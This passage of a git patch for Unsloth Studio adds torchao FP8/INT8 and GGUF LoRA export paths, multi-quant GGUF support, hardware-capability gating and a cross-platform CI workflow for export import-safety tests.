  as text (like the other ast/string checks) instead of `import unsloth.save`, which
  raised ModuleNotFoundError in the CPU studio-backend suite that has no unsloth
  installed.

* Studio export: make comments succinct across the export changes

* Studio export: use load token for local GGUF LoRA export of gated bases

* Studio export: harden portable torchao path and gate multi-format Hub push

torchao (_unsloth_save_torchao):
- merge to an isolated temp staging dir so a co-selected 16-bit output at save_directory is not deleted
- narrow VLM detection to vision_config / ForVisionText2Text so T5/BART/Whisper are not misrouted
- forward trust_remote_code (from auto_map) to the reload so custom-code models export

Export UI:
- hide portable torchao formats on macOS/MLX (backend rejects quantized export there)
- restrict a Hub merged export to a single format (each writes to the repo root)

* Studio export: torchao tokenizer remote-code + XPU offload, scale GGUF timeout

torchao (_unsloth_save_torchao):
- honor auto_map in the staged tokenizer/processor configs (not just model.config) when
  deriving trust_remote_code, so custom-code tokenizers reload after the merge
- offload single-device XPU models to CPU (and empty the XPU cache) before the reload, matching
  the CUDA path, so an Intel GPU that fits the model once does not OOM on the second copy

Export orchestrator:
- scale the GGUF wait timeout by the number of requested quants so a multi-quant list export of a
  large model does not time out at a flat 3600s

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio export: show portable torchao formats only on non-NVIDIA (CPU) hosts

Portable torchao FP8/INT8 is the fallback for hosts without the NVIDIA compressed-tensors path.
On an NVIDIA GPU the compressed-tensors FP8/FP4/INT formats are the intended path (llm-compressor
auto-installs), so hide the portable duplicates there; keep them on CPU / non-NVIDIA hosts and
continue hiding them on macOS/MLX.

* Studio export: report all output folders and the exported formats

- Multi-format merged export now collects every sibling output directory (one per selected
  precision) instead of only the last; the success banner lists them all.
- Show the selected precision formats in the run summary (a Formats row, like GGUF Quantizations),
  so the panel says what is being exported rather than just 'Merged Model'.
- Persist the selected formats in the run summary and seed them on mount, so navigating away and
  back (or toggling the export method) restores the selection instead of resetting to 16-bit.

* Studio export: list all output formats, add GGUF LoRA target, default Q8_0, auto-select newest checkpoint

- Progress/summary panel now shows a Formats row with the selected merged
  formats, and the success banner lists every output folder a multi-format
  merged run creates (one line per format) instead of only the last one.
- Merged format selection is seeded from the active run, so navigating away
  and back (or switching method cards) no longer resets it to 16-bit.
- GGUF / Llama.cpp now offers an Export target toggle (Full model or LoRA
  adapter) for adapter checkpoints, reusing the LoRA GGUF export path.
- Removed the Auto GGUF LoRA output type and defaulted to Q8_0 in the UI,
  the request model, and the backend defaults; the outtype list is now
  Q8_0/F16/BF16/F32. Core save.py still accepts auto for external callers.
- When a finetune has no checkpoint selected, auto-select the newest one.

* Studio torchao export: robust reload class + optional VLM import

Two fixes to the portable torchao FP8/INT8 export reload, from review of the
narrowed VLM detection:

- Encoder-decoder seq2seq checkpoints (T5/BART/Whisper) are not causal LMs.
  With the narrowed is_vlm test they now correctly skip the image-text class,
  but fell through to AutoModelForCausalLM and failed to reload after the merge.
  Reload them with their own architecture class from the config instead.
- AutoModelForImageTextToText was imported unconditionally at the top of the
  torchao path, so on Transformers builds without that class the import aborted
  every torchao export (even text-only). Import it lazily only for a VLM, with
  the AutoModelForVision2Seq fallback used elsewhere in Unsloth.

* Studio: enable FP8/FP4 compressed export for newer-transformers models

The shipped llm-compressor 0.10.x pins transformers<=4.57.6, so FP8/FP4 export failed
for models needing a transformers 5.x sidecar (Qwen3.5, Gemma-4, Qwen3-Next): the
quantization subprocess crashed importing the removed TORCH_INIT_FUNCTIONS.

Run the quantization against a dedicated llm-compressor-main "shadow": a --target
package dir (transformers 5.10.2 + llm-compressor main + compressed-tensors) layered
over the existing torch. It installs --no-deps so torch is never touched (works on any
Studio torch build), is provisioned lazily and fingerprint-cached, and can be turned
off with UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN.

- transformers_version.py: provision + validate .venv_llmcompressor.
- export.py: route all compressed exports through the shadow when available; else keep
  the workspace 0.10.x path and fail fast past its transformers ceiling.
- save.py: launch _compressed_quantize.py with a clean PYTHONPATH = shadow.
- _compressed_quantize.py: skip linear_attn / vision tower / MTP modules (matches the
  RedHatAI and NVIDIA reference quants, and is required by the grouped schemes).

Verified all four schemes (fp8, w8a8, w4a16, mxfp4) on Qwen3.5-9B and Llama-3.2-1B, and
fp8 on Gemma-4, end to end through Studio.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix GGUF LoRA export tests

* Fix export CI expectations

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
---
 .../workflows/studio-export-capability-ci.yml |  76 +++
 studio/backend/core/export/export.py          | 305 +++++++++--
 studio/backend/core/export/orchestrator.py    |  18 +-
 studio/backend/core/export/worker.py          |   3 +
 studio/backend/main.py                        |   8 +-
 studio/backend/models/export.py               |  27 +-
 studio/backend/routes/export.py               |  25 +
 .../backend/tests/test_export_capability.py   | 156 ++++++
 .../tests/test_export_imatrix_compressed.py   | 140 ++++-
 studio/backend/utils/hardware/__init__.py     |   7 +
 studio/backend/utils/hardware/hardware.py     |  43 ++
 studio/backend/utils/transformers_version.py  | 151 ++++++
 studio/frontend/src/app/routes/__root.tsx     |   3 +
 .../frontend/src/components/app-sidebar.tsx   |  16 +-
 .../src/features/export/api/export-api.ts     |   9 +-
 .../export/components/export-run-panel.tsx    |  51 +-
 .../frontend/src/features/export/constants.ts | 168 +++++-
 .../src/features/export/export-page.tsx       | 501 +++++++++++++++---
 .../export/stores/export-runtime-store.ts     | 116 ++--
 .../frontend/src/hooks/use-hardware-info.ts   |  15 +
 tests/studio/playwright_extra_ui.py           |  14 +-
 unsloth/_compressed_quantize.py               |   4 +
 unsloth/save.py                               | 494 ++++++++++++++++-
 23 files changed, 2120 insertions(+), 230 deletions(-)
 create mode 100644 .github/workflows/studio-export-capability-ci.yml
 create mode 100644 studio/backend/tests/test_export_capability.py

diff --git a/.github/workflows/studio-export-capability-ci.yml b/.github/workflows/studio-export-capability-ci.yml
new file mode 100644
index 0000000000..1ee6489209
--- /dev/null
+++ b/.github/workflows/studio-export-capability-ci.yml
@@ -0,0 +1,76 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+# Runs studio/backend/tests/test_export_capability.py on Linux, Windows and macOS.
+#
+# export_capability() is per-OS (is_apple_silicon() and the PyTorch-import probe differ per
+# platform) and the export backend must import without PyTorch, so this confirms the gating and
+# import-safety on hosted Windows/macOS. Hosted runners have no GPU/MLX, so a real accelerator
+# export is validated separately. No GPU / model / llama.cpp: the tests mock the probes and block
+# torch/unsloth, so the job installs only a CPU PyTorch plus import deps.
+
+name: Studio export capability
+
+on:
+  pull_request:
+    paths:
+      - 'studio/backend/utils/hardware/hardware.py'
+      - 'studio/backend/core/export/export.py'
+      - 'studio/backend/routes/export.py'
+      - 'studio/backend/main.py'
+      - 'studio/backend/tests/test_export_capability.py'
+      - '.github/workflows/studio-export-capability-ci.yml'
+  push:
+    branches: [main]
+    paths:
+      - 'studio/backend/utils/hardware/hardware.py'
+      - 'studio/backend/core/export/export.py'
+      - 'studio/backend/routes/export.py'
+      - 'studio/backend/main.py'
+      - 'studio/backend/tests/test_export_capability.py'
+      - '.github/workflows/studio-export-capability-ci.yml'
+  workflow_dispatch:
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref }}
+  cancel-in-progress: true
+
+permissions:
+  contents: read
+
+jobs:
+  capability:
+    name: capability (${{ matrix.os }})
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [ubuntu-latest, windows-latest, macos-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 20
+    env:
+      # No accelerator on hosted runners; keep detection on the CPU path.
+      CUDA_VISIBLE_DEVICES: ""
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405  # v6.2.0
+        with:
+          python-version: '3.12'
+          cache: 'pip'
+      - name: Upgrade pip
+        run: python -m pip install --upgrade pip
+      - name: Install CPU PyTorch
+        # CPU wheel index so every OS gets a CPU build; keep PyPI as an extra index so torch's
+        # transitive deps still resolve (matching the other workflows in this repo).
+        run: python -m pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple "torch>=2.4,<2.13"
+      - name: Install backend import deps
+        # Enough to import utils.hardware and core.export.export; NOT unsloth (needs a GPU, and
+        # the import-safety test blocks it) or triton/llama.cpp (Linux-only / native builds).
+        run: python -m pip install
+          transformers peft accelerate safetensors huggingface_hub datasets
+          sentencepiece protobuf fastapi starlette structlog psutil
+          python-multipart pydantic httpx "numpy<3" pytest
+      - name: Export capability + import-safety tests
+        working-directory: studio/backend
+        run: python -m pytest tests/test_export_capability.py -q
diff --git a/studio/backend/core/export/export.py b/studio/backend/core/export/export.py
index d0461dae95..c8be50b08b 100644
--- a/studio/backend/core/export/export.py
+++ b/studio/backend/core/export/export.py
@@ -13,7 +13,18 @@ import shutil
 import contextlib
 from pathlib import Path
 from typing import Optional, Tuple, List
-from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX
+
+# unsloth imports torch on non-MLX hosts, so a --no-torch install raises here. Stay importable
+# (null the classes) so exports return a clean "PyTorch is not installed" error, not an import crash.
+try:
+    from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX
+    _UNSLOTH_IMPORT_ERROR = None
+except Exception as _unsloth_exc:  # ImportError (e.g. missing torch) or a broken native load
+    FastLanguageModel = None
+    FastVisionModel = None
+    _IS_MLX = False
+    _UNSLOTH_IMPORT_ERROR = _unsloth_exc
+
 from huggingface_hub import HfApi, ModelCard
 from utils.hardware import clear_gpu_cache
 
@@ -27,14 +38,46 @@ from utils.paths import (
 )
 from core.inference import get_inference_backend
 
-# GPU-only imports — guarded for Apple Silicon where these aren't needed
+# GPU/PyTorch-only imports, skipped on MLX and on a --no-torch install so the module stays
+# importable; export then degrades to a clear "PyTorch is not installed" error.
+torch = None
+_TORCH_IMPORT_ERROR: Optional[BaseException] = None
 if not _IS_MLX:
-    from peft import PeftModel, PeftModelForCausalLM
-    from transformers.modeling_utils import PushToHubMixin
-    import torch
+    try:
+        from peft import PeftModel, PeftModelForCausalLM
+        from transformers.modeling_utils import PushToHubMixin
+        import torch
+    except Exception as _torch_exc:  # ImportError, or a broken native torch load
+        _TORCH_IMPORT_ERROR = _torch_exc
 
 logger = get_logger(__name__)
 
+
+def _export_runtime_available() -> bool:
+    """True if export can run: MLX active, or Unsloth imported (only succeeds on a GPU host)."""
+    return bool(_IS_MLX) or (FastLanguageModel is not None)
+
+
+def _export_runtime_message() -> str:
+    """Precise reason the export runtime is unavailable, mirroring hardware.export_capability()."""
+    if torch is None:
+        return (
+            "PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
+            "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
+        )
+    return (
+        "Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported "
+        "accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export on "
+        "CPU only.)"
+    )
+
+
+# Kept for call sites / tests referencing the PyTorch-missing text.
+_PYTORCH_MISSING_MESSAGE = (
+    "PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
+    "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
+)
+
 _LLAMA_CPP_SCRIPTS_WARNING_EMITTED = False
 
 
@@ -58,6 +101,28 @@ def _compressed_export_supported():
         return False
 
 
+def _torchao_export_supported():
+    """True if the installed unsloth build has the portable torchao FP8/INT8 export path."""
+    try:
+        import unsloth.save as _us
+        return hasattr(_us, "_normalize_torchao_method")
+    except Exception:
+        return False
+
+
+def _has_nvidia_gpu():
+    """True only on a real NVIDIA CUDA box (not ROCm/XPU/CPU/MLX); compressed-tensors needs it."""
+    try:
+        from utils.hardware import hardware as _hw
+        return _hw.DEVICE == _hw.DeviceType.CUDA and not _hw.IS_ROCM
+    except Exception:
+        try:
+            import torch
+            return bool(torch.cuda.is_available()) and getattr(torch.version, "hip", None) is None
+        except Exception:
+            return False
+
+
 def _hf_offline(timeout = 3):
     """True if export should avoid the Hub: honors the HF offline env vars, else does one
     cheap TCP reachability probe so a network-down load uses local files / the HF cache
@@ -394,13 +459,17 @@ class ExportBackend:
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
         private: bool = False,
+        compressed_method: Optional[str] = None,
     ) -> Tuple[bool, str, Optional[str]]:
         """
         Export merged model (for PEFT models).
 
         Args:
             save_directory: Local directory to save model
-            format_type: "16-bit (FP16)" or "4-bit (FP4)"
+            format_type: "16-bit (FP16)", "4-bit (FP4)", or a compressed-tensors label
+            compressed_method: Optional compressed-tensors scheme alias (e.g. "fp8",
+                "fp8_static", "w8a8", "w4a16", "mxfp4", "mxfp8", "nvfp4"). Overrides
+                format_type and is resolved against unsloth.save COMPRESSED_EXPORT_SCHEMES.
             push_to_hub: Whether to push to Hugging Face Hub
             repo_id: Hub repository ID (username/model-name)
             hf_token: Hugging Face token
@@ -409,38 +478,108 @@ class ExportBackend:
         Returns:
             Tuple of (success: bool, message: str, output_path: Optional[str])
         """
+        if not _export_runtime_available():
+            return False, _export_runtime_message(), None
         if not self.current_model or not self.current_tokenizer:
             return False, "No model loaded. Please select a checkpoint first.", None
 
-        if not self.is_peft:
-            return (
-                False,
-                "This is not a PEFT model. Use 'Export Base Model' instead.",
-                None,
-            )
+        # Merged export works for PEFT adapters and non-PEFT Local/HF base models alike
+        # (save_pretrained_merged is a no-op merge that just saves the base).
 
         output_path: Optional[str] = None
-        # compressed-tensors formats run save_pretrained_merged with an FP8/FP4 save_method and
-        # write to a sibling "<dir>-<suffix>" directory (for vLLM).
-        _COMPRESSED = {
-            "FP8 (compressed-tensors)": ("fp8", "fp8"),
-            "NVFP4 (compressed-tensors)": ("nvfp4", "nvfp4"),
+        # Quantized formats save to a sibling "<dir>-<suffix>". Two backends: compressed-tensors
+        # (llm-compressor, NVIDIA-only) and portable torchao FP8/INT8 (device-agnostic). The alias
+        # comes from `compressed_method` (the "all formats" dropdown) or the `format_type` label.
+        _LABEL_TO_ALIAS = {
+            "FP8 (compressed-tensors)": "fp8",
+            "NVFP4 (compressed-tensors)": "nvfp4",
         }
-        is_compressed = format_type in _COMPRESSED
+        compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type)
+        compressed_suffix: Optional[str] = None
+        # Classify the alias: torchao-portable vs compressed-tensors.
+        torchao_info = None
+        if compressed_alias and _torchao_export_supported():
+            try:
+                import unsloth.save as _us_t
+                torchao_info = _us_t._normalize_torchao_method(compressed_alias)
+            except Exception:
+                torchao_info = None
+        is_torchao = torchao_info is not None
+        is_compressed = compressed_alias is not None and not is_torchao
         try:
-            if _IS_MLX:
-                if is_compressed:
-                    return False, "Compressed-tensors export is not supported on macOS/MLX.", None
-                mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit"
-            elif is_compressed:
+            if _IS_MLX and (is_compressed or is_torchao):
+                return (
+                    False,
+                    "Quantized (FP8/FP4/INT) export is not supported on macOS/MLX. "
+                    "Use 16-bit or GGUF.",
+                    None,
+                )
+
+            if is_torchao:
+                # Portable torchao: no NVIDIA GPU, no calibration.
+                compressed_suffix = torchao_info[1]
+
+            if is_compressed:
+                # compressed-tensors needs CUDA; enforce in the backend even if the UI gate is bypassed.
+                if not _has_nvidia_gpu():
+                    return (
+                        False,
+                        "Compressed-tensors (FP8/FP4) export requires an NVIDIA GPU. On other "
+                        "hardware use the portable FP8/INT8 (torchao) formats or 16-bit.",
+                        None,
+                    )
                 if not _compressed_export_supported():
                     return (
                         False,
-                        "Compressed-tensors (FP8/NVFP4) export requires an Unsloth build with "
+                        "Compressed-tensors (FP8/FP4) export requires an Unsloth build with "
                         "compressed-tensors support. Upgrade unsloth, or choose 16-bit.",
                         None,
                     )
-                save_method = _COMPRESSED[format_type][0]
+                import unsloth.save as _us
+
+                # Prefer the llm-compressor-main shadow (transformers 5.x): it quantizes newer models
+                # (Qwen3.5, Gemma-4, ...) the shipped 0.10.x cannot. Route all compressed exports
+                # through it when available; else fall back to the workspace 0.10.x path below.
+                _shadow_pp = None
+                try:
+                    from utils.transformers_version import llmcompressor_shadow_pythonpath
+                    _shadow_pp = llmcompressor_shadow_pythonpath()
+                except Exception as e:
+                    logger.warning(f"llm-compressor-main shadow unavailable: {e}")
+                if _shadow_pp:
+                    os.environ[_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV] = _shadow_pp
+                else:
+                    # No shadow (disabled/offline/failed): the workspace 0.10.x cannot exceed its
+                    # transformers ceiling, so fail fast for sidecar models; default-tier still works.
+                    os.environ.pop(_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV, None)
+                    _exceeds, _tf_ver = _us._transformers_exceeds_llm_compressor_ceiling()
+                    if _exceeds:
+                        return (
+                            False,
+                            "FP8/FP4 compressed-tensors export is not available for this model: it "
+                            f"runs under transformers {_tf_ver}, but the installed llm-compressor "
+                            f"supports transformers <= {_us._LLM_COMPRESSOR_MAX_TRANSFORMERS} and the "
+                            "llm-compressor-main runtime could not be provisioned (offline or "
+                            "UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN). Export to GGUF or 16-bit instead.",
+                            None,
+                        )
+
+                try:
+                    info = _us._normalize_compressed_method(compressed_alias)
+                except Exception as e:
+                    return False, f"Unsupported compressed export '{compressed_alias}': {e}", None
+                if info is None:
+                    return (
+                        False,
+                        f"'{compressed_alias}' is not a recognized compressed-tensors export.",
+                        None,
+                    )
+                compressed_suffix = info[2]
+
+            if _IS_MLX:
+                mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit"
+            elif is_compressed or is_torchao:
+                save_method = compressed_alias
             elif format_type == "4-bit (FP4)":
                 save_method = "merged_4bit_forced"
             elif self._audio_type == "whisper":
@@ -464,10 +603,10 @@ class ExportBackend:
                         save_directory, self.current_tokenizer, save_method = save_method
                     )
 
-                # Compressed export writes to the "<dir>-<suffix>" sibling; report that as output.
+                # Compressed / torchao writes to the "<dir>-<suffix>" sibling; report that as output.
                 final_dir = (
-                    f"{save_directory}-{_COMPRESSED[format_type][1]}"
-                    if is_compressed
+                    f"{save_directory}-{compressed_suffix}"
+                    if (is_compressed or is_torchao)
                     else save_directory
                 )
                 self._write_export_metadata(final_dir)
@@ -507,10 +646,9 @@ class ExportBackend:
                                 token = hf_token,
                                 private = private,
                             )
-                elif is_compressed and output_path and Path(output_path).is_dir():
-                    # The compressed model was already built locally in output_path; upload it
-                    # directly so we do not re-run the (expensive, OOM-prone) compression that
-                    # push_to_hub_merged(save_method=fp8/nvfp4) would otherwise do a second time.
+                elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir():
+                    # Already built in output_path; upload it directly instead of re-running the
+                    # expensive quantization that push_to_hub_merged(save_method=...) would redo.
                     hf_api = HfApi(token = hf_token)
                     repo_id = PushToHubMixin._create_repo(
                         PushToHubMixin,
@@ -522,7 +660,7 @@ class ExportBackend:
                         username = repo_id.split("/")[0],
                         base_model = getattr(self.current_model.config, "_name_or_path", "unknown"),
                         model_type = getattr(self.current_model.config, "model_type", "llm"),
-                        method = format_type,
+                        method = compressed_alias or format_type,
                         extra = "unsloth",
                     )
                     ModelCard(content).push_to_hub(
@@ -568,6 +706,8 @@ class ExportBackend:
         Returns:
             Tuple of (success: bool, message: str, output_path: Optional[str])
         """
+        if not _export_runtime_available():
+            return False, _export_runtime_message(), None
         if not self.current_model or not self.current_tokenizer:
             return False, "No model loaded. Please select a checkpoint first.", None
 
@@ -686,7 +826,7 @@ class ExportBackend:
     def export_gguf(
         self,
         save_directory: str,
-        quantization_method: str = "Q4_K_M",
+        quantization_method = "Q4_K_M",
         push_to_hub: bool = False,
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
@@ -697,7 +837,9 @@ class ExportBackend:
 
         Args:
             save_directory: Local directory to save model
-            quantization_method: GGUF quantization method (e.g., "Q4_K_M")
+            quantization_method: A single GGUF quant method (e.g., "Q4_K_M") or a list of them
+                (e.g., ["Q4_K_M", "Q8_0"]). A list produces one GGUF per quant from a single
+                model load (unsloth save_to_gguf loops internally).
             push_to_hub: Whether to push to Hugging Face Hub
             repo_id: Hub repository ID
             hf_token: Hugging Face token
@@ -705,11 +847,13 @@ class ExportBackend:
         Returns:
             Tuple of (success: bool, message: str, output_path: Optional[str])
         """
+        if not _export_runtime_available():
+            return False, _export_runtime_message(), None
         if not self.current_model or not self.current_tokenizer:
             return False, "No model loaded. Please select a checkpoint first.", None
 
-        # Only forward imatrix_file to an unsloth build that accepts it; otherwise even a plain
-        # no-imatrix export would fail with an unexpected-keyword error against an older unsloth.
+        # Only forward imatrix_file to an unsloth build that accepts it, else older builds raise
+        # an unexpected-keyword error even for a plain no-imatrix export.
         if imatrix_file is not None and not _supports_kwarg(
             self.current_model.save_pretrained_gguf, "imatrix_file"
         ):
@@ -724,8 +868,14 @@ class ExportBackend:
         output_path: Optional[str] = None
         model_tmp_to_cleanup: Optional[str] = None
         try:
-            # unsloth expects lowercase quant method
-            quant_method = quantization_method.lower()
+            # Normalize to a lowercased list so multiple quants come from one model load.
+            if isinstance(quantization_method, (list, tuple)):
+                quant_methods = [str(q).lower() for q in quantization_method if str(q).strip()]
+            else:
+                quant_methods = [str(quantization_method).lower()]
+            if not quant_methods:
+                quant_methods = ["q4_k_m"]
+            quant_method = quant_methods if len(quant_methods) > 1 else quant_methods[0]
 
             # Pin convert_hf_to_gguf.py to setup.sh's tagged llama.cpp ref so it
             # can't drift past the pinned llama-quantize binary's gguf API.
@@ -847,7 +997,7 @@ class ExportBackend:
 
             return (
                 True,
-                f"GGUF model exported successfully ({quantization_method})",
+                f"GGUF model exported successfully ({', '.join(quant_methods)})",
                 output_path,
             )
 
@@ -867,19 +1017,56 @@ class ExportBackend:
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
         private: bool = False,
+        gguf: bool = False,
+        gguf_outtype: str = "q8_0",
     ) -> Tuple[bool, str, Optional[str]]:
         """
         Export LoRA adapter only (not merged).
 
+        Args:
+            gguf: If True, also convert the adapter to a GGUF LoRA file (llama.cpp
+                convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`.
+            gguf_outtype: GGUF LoRA output float type; one of q8_0/f16/bf16/f32.
+
         Returns:
             Tuple of (success: bool, message: str, output_path: Optional[str])
         """
+        if not _export_runtime_available():
+            return False, _export_runtime_message(), None
         if not self.current_model or not self.current_tokenizer:
             return False, "No model loaded. Please select a checkpoint first.", None
 
         if not self.is_peft:
             return False, "This is not a PEFT model. No adapter to export.", None
 
+        _GGUF_LORA_OUTTYPES = ("q8_0", "f16", "bf16", "f32")
+        if gguf:
+            if _IS_MLX:
+                return (
+                    False,
+                    "GGUF LoRA adapter export is not supported on macOS/MLX. "
+                    "Use the safetensors adapter instead.",
+                    None,
+                )
+            outtype = str(gguf_outtype).lower()
+            if outtype not in _GGUF_LORA_OUTTYPES:
+                return (
+                    False,
+                    f"Invalid GGUF LoRA outtype '{gguf_outtype}'. "
+                    f"Choose one of {', '.join(_GGUF_LORA_OUTTYPES)}.",
+                    None,
+                )
+            # getattr so an older build without save_pretrained_gguf returns a clean message
+            # instead of an AttributeError (a generic 500).
+            _save_gguf_fn = getattr(self.current_model, "save_pretrained_gguf", None)
+            if _save_gguf_fn is None or not _supports_kwarg(_save_gguf_fn, "save_method"):
+                return (
+                    False,
+                    "This Unsloth build does not support GGUF LoRA adapter export. "
+                    "Upgrade unsloth and unsloth_zoo, or export the safetensors adapter.",
+                    None,
+                )
+
         output_path: Optional[str] = None
         try:
             if save_directory:
@@ -887,7 +1074,24 @@ class ExportBackend:
                 logger.info(f"Saving LoRA adapter locally to: {save_directory}")
                 ensure_dir(Path(save_directory))
 
-                if _IS_MLX:
+                if gguf:
+                    # Writes the adapter files plus "<base>-lora-<outtype>.gguf".
+                    _apply_wsl_sudo_patch()
+                    self.current_model.save_pretrained_gguf(
+                        save_directory,
+                        self.current_tokenizer,
+                        save_method = "lora",
+                        quantization_method = outtype,
+                        # Forward the token so convert_lora_to_gguf.py can fetch a gated base's config.
+                        token = hf_token or None,
+                    )
+                    final_ggufs = sorted(glob.glob(os.path.join(save_directory, "*.gguf")))
+                    logger.info(
+                        "LoRA GGUF export complete. Files in %s:\n  %s",
+                        save_directory,
+                        "\n  ".join(os.path.basename(f) for f in final_ggufs) or "(none)",
+                    )
+                elif _IS_MLX:
                     # MLX: save adapters.safetensors + tokenizer files
                     self.current_model.save_lora_adapters(save_directory)
                     self.current_tokenizer.save_pretrained(save_directory)
@@ -907,7 +1111,24 @@ class ExportBackend:
 
                 logger.info(f"Pushing LoRA adapter to Hub: {repo_id}")
 
-                if _IS_MLX:
+                if gguf:
+                    # Upload the locally-built GGUF folder; needs a local save_directory so the
+                    # conversion is not re-run.
+                    if not (output_path and Path(output_path).is_dir()):
+                        return (
+                            False,
+                            "GGUF LoRA Hub upload requires a local save directory; set one and "
+                            "retry.",
+                            None,
+                        )
+                    hf_api = HfApi(token = hf_token)
+                    hf_api.create_repo(repo_id, private = private, exist_ok = True)
+                    hf_api.upload_folder(
+                        folder_path = output_path,
+                        repo_id = repo_id,
+                        repo_type = "model",
+                    )
+                elif _IS_MLX:
                     with tempfile.TemporaryDirectory() as tmp_dir:
                         self.current_model.save_lora_adapters(tmp_dir)
                         self.current_tokenizer.save_pretrained(tmp_dir)
diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py
index 052a47dd80..671ef363f5 100644
--- a/studio/backend/core/export/orchestrator.py
+++ b/studio/backend/core/export/orchestrator.py
@@ -456,6 +456,7 @@ class ExportOrchestrator:
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
         private: bool = False,
+        compressed_method: Optional[str] = None,
     ) -> Tuple[bool, str, Optional[str]]:
         """Export merged PEFT model."""
         return self._run_export(
@@ -467,6 +468,7 @@ class ExportOrchestrator:
                 "repo_id": repo_id,
                 "hf_token": hf_token,
                 "private": private,
+                "compressed_method": compressed_method,
             },
         )
 
@@ -495,13 +497,13 @@ class ExportOrchestrator:
     def export_gguf(
         self,
         save_directory: str,
-        quantization_method: str = "Q4_K_M",
+        quantization_method = "Q4_K_M",
         push_to_hub: bool = False,
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
         imatrix_file = None,
     ) -> Tuple[bool, str, Optional[str]]:
-        """Export model in GGUF format."""
+        """Export model in GGUF format. `quantization_method` may be a single method or a list."""
         return self._run_export(
             "gguf",
             {
@@ -521,8 +523,10 @@ class ExportOrchestrator:
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
         private: bool = False,
+        gguf: bool = False,
+        gguf_outtype: str = "q8_0",
     ) -> Tuple[bool, str, Optional[str]]:
-        """Export LoRA adapter only."""
+        """Export LoRA adapter only (optionally also as a GGUF LoRA file)."""
         return self._run_export(
             "lora",
             {
@@ -531,6 +535,8 @@ class ExportOrchestrator:
                 "repo_id": repo_id,
                 "hf_token": hf_token,
                 "private": private,
+                "gguf": gguf,
+                "gguf_outtype": gguf_outtype,
             },
         )
 
@@ -557,9 +563,13 @@ class ExportOrchestrator:
                 cmd = {"type": "export", "export_type": export_type, **params}
                 try:
                     self._send_cmd(cmd)
+                    # GGUF for 30B+ models can take 30+ min per quant; a multi-quant list runs them
+                    # all in one op off a single merge, so scale the timeout by the quant count.
+                    _qm = params.get("quantization_method")
+                    _n = len(_qm) if isinstance(_qm, (list, tuple)) and _qm else 1
                     resp = self._wait_response(
                         f"export_{export_type}_done",
-                        timeout = 3600,  # GGUF for 30B+ models can take 30+ min
+                        timeout = 3600 * max(1, _n),
                     )
                     op_success = resp.get("success", False)
                     op_message = resp.get("message", "")
diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py
index d473dcb54f..7828116236 100644
--- a/studio/backend/core/export/worker.py
+++ b/studio/backend/core/export/worker.py
@@ -397,6 +397,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
                 repo_id = cmd.get("repo_id"),
                 hf_token = cmd.get("hf_token"),
                 private = cmd.get("private", False),
+                compressed_method = cmd.get("compressed_method"),
             )
         elif export_type == "base":
             success, message, output_path = backend.export_base_model(
@@ -423,6 +424,8 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
                 repo_id = cmd.get("repo_id"),
                 hf_token = cmd.get("hf_token"),
                 private = cmd.get("private", False),
+                gguf = cmd.get("gguf", False),
+                gguf_outtype = cmd.get("gguf_outtype", "q8_0"),
             )
         else:
             success, message = False, f"Unknown export type: {export_type}"
diff --git a/studio/backend/main.py b/studio/backend/main.py
index 0613a5ae53..8762c43195 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -1145,7 +1145,7 @@ def get_system_info(current_subject: str = Depends(get_current_subject)):
     import os
     import time
     import logging
-    from utils.hardware import get_device
+    from utils.hardware import get_device, export_capability
     from utils.hardware.hardware import _backend_label
 
     logger = logging.getLogger(__name__)
@@ -1218,6 +1218,8 @@ def get_system_info(current_subject: str = Depends(get_current_subject)):
         },
         "gpu": gpu_info,
         "ml_packages": ml_packages,
+        # Export capability + torch-aware reason. See /api/system/hardware.
+        **export_capability(),
     }
 
 
@@ -1240,11 +1242,13 @@ def get_hardware_info(
     method auto-selection. Sync def (not async): hardware/detail probes can
     shell out, and FastAPI runs sync endpoints in a threadpool.
